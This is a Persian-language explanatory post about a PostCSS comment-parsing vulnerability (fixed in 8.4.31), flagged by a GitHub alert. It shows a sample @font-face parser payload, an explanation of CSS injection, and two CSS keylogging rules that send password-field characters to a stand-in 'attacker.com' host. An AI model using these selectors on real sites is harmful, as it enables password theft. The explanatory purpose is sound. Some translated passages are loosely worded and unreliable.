خطای تجزیه خط PostCSS بازگشت؟

طرح کلی

1. پس از تکمیل پیکربندی اولیه پروژه و فشار دادن آن به GitHub، اعلان مشکل امنیتی بالا ظاهر شد.

1. وقتی محتویات اعلان را بررسی کردم، خطای بالا رخ داد.

1. ترجمه مطالب:

   مشکلی در PostCSS قبل از 8.4.31 کشف شد. بر روی لیترهایی که از PostCSS برای تجزیه و تحلیل برگه‌های سبک آبشاری خارجی (CSS) استفاده می‌کنند، تأثیر می‌گذارد. از قوانین
   وقتی این را می بینید، ممکن است یک اختلاف وجود داشته باشد. برای مثال، @font-face{ font:(
/*);} کدی شبیه این است:

   این آسیب پذیری بر روی لینترهایی که از PostCSS برای تجزیه CSS خارجی غیرقابل اعتماد استفاده می کنند، تأثیر می گذارد. مهاجم می تواند CSS را با گنجاندن قسمت هایی که توسط PostCSS به عنوان نظرات CSS تجزیه شده است آماده کند. پس از پردازش توسط PostCSS، آنها در خروجی PostCSS برای گره های CSS (قوانین، ویژگی ها) قرار می گیرند، حتی اگر در نظر اصلی گنجانده شده باشند.

1. از آنجایی که پروژه فعلی از نسخه 8.0.0 استفاده می کند، می توانید ببینید که GitHub در مورد یک مشکل امنیتی هشدار داده است.

مشکل چی بود؟

1. PostCSS چیست؟
   ابتدا باید بدانید PostCSS چیست.

PostCSS: ابزاری است که برای پردازش و تبدیل فایل های CSS استفاده می شود. این به شما امکان می‌دهد تا سینتکس CSS را برای انجام وظایف مختلف (به عنوان مثال اضافه کردن خودکار پیشوندها، مدیریت متغیرها و غیره) تجزیه کنید.

1. بنابراین مشکل کدام قسمت از PostCSS بود؟
   هسته اصلی این آسیب پذیری مشکلی است که زمانی رخ می دهد که PostCSS نظرات را به روشی خاص مدیریت می کند.

هنگام پردازش نظرات در CSS /* comment */ در قالب نوشته شده است: این اجازه می دهد تا مهاجم، تحت شرایط خاص، سینتکس CSS را در یک نظر قرار دهد و سپس باعث می شود که این CSS به عنوان یک قانون معمولی به جای یک نظر در هنگام پردازش با PostCSS شناخته شود.

   @font-face {
  font: (\r/*);
}

1. بالا
یک بازگشت کالسکه (نویسه تغذیه خط) است. این نحو در واقع همان چیزی است که باید در یک نظر CSS وجود داشته باشد.

2. با این حال، مشکل این بود که PostCSS به درستی این بخش را به عنوان یک نظر تشخیص نمی داد و آن را به عنوان یک کد CSS معمولی به جای یک نظر در نظر می گرفت.

چقدر خطرناک است؟

1. تزریق CSS (CSS 인젝션)
   تزریق CSS معمولا زمانی اتفاق می افتد که یک برنامه وب به درستی مقدار ورودی را از کاربر تأیید نمی کند و آن را در کد CSS وارد می کند. این می تواند به مهاجم اجازه دهد تا سبک صفحه را دستکاری کند یا به طور جدی تر، اسکریپت های مخرب را اجرا کند.

   
     body {
       background-color: /*user input*/;
     }
   

اگر /*user input*/اگر کد CSS مخرب درج شود، ممکن است سبک صفحه به طور غیرعادی تغییر کند یا رفتار غیرمنتظره ای رخ دهد.

1. CSS Keylogging
   نحوه ردیابی ضربه های کلید با استفاده از CSS مهاجم می تواند از CSS استفاده کند :focus و ::before، ::after هر زمان که یک فیلد ورودی خاص انتخاب شد، می توانید از همان انتخابگر مجازی برای اعمال یک سبک منحصر به فرد استفاده کنید. این به شما امکان می دهد تا به طور غیرمستقیم ضربات کلید را ردیابی کنید.

   input[type="password"][value^="a"] { background-image: url('http://attacker.com/log/a'); }
   input[type="password"][value^="b"] { background-image: url('http://attacker.com/log/b'); }

هنگامی که کاربر یک مقدار خاص را وارد می کند، یک درخواست HTTP برای آن مقدار ممکن است به سرور مهاجم ارسال شود. به این ترتیب می توانید اطلاعات حساسی مانند رمز عبور را ردیابی کنید.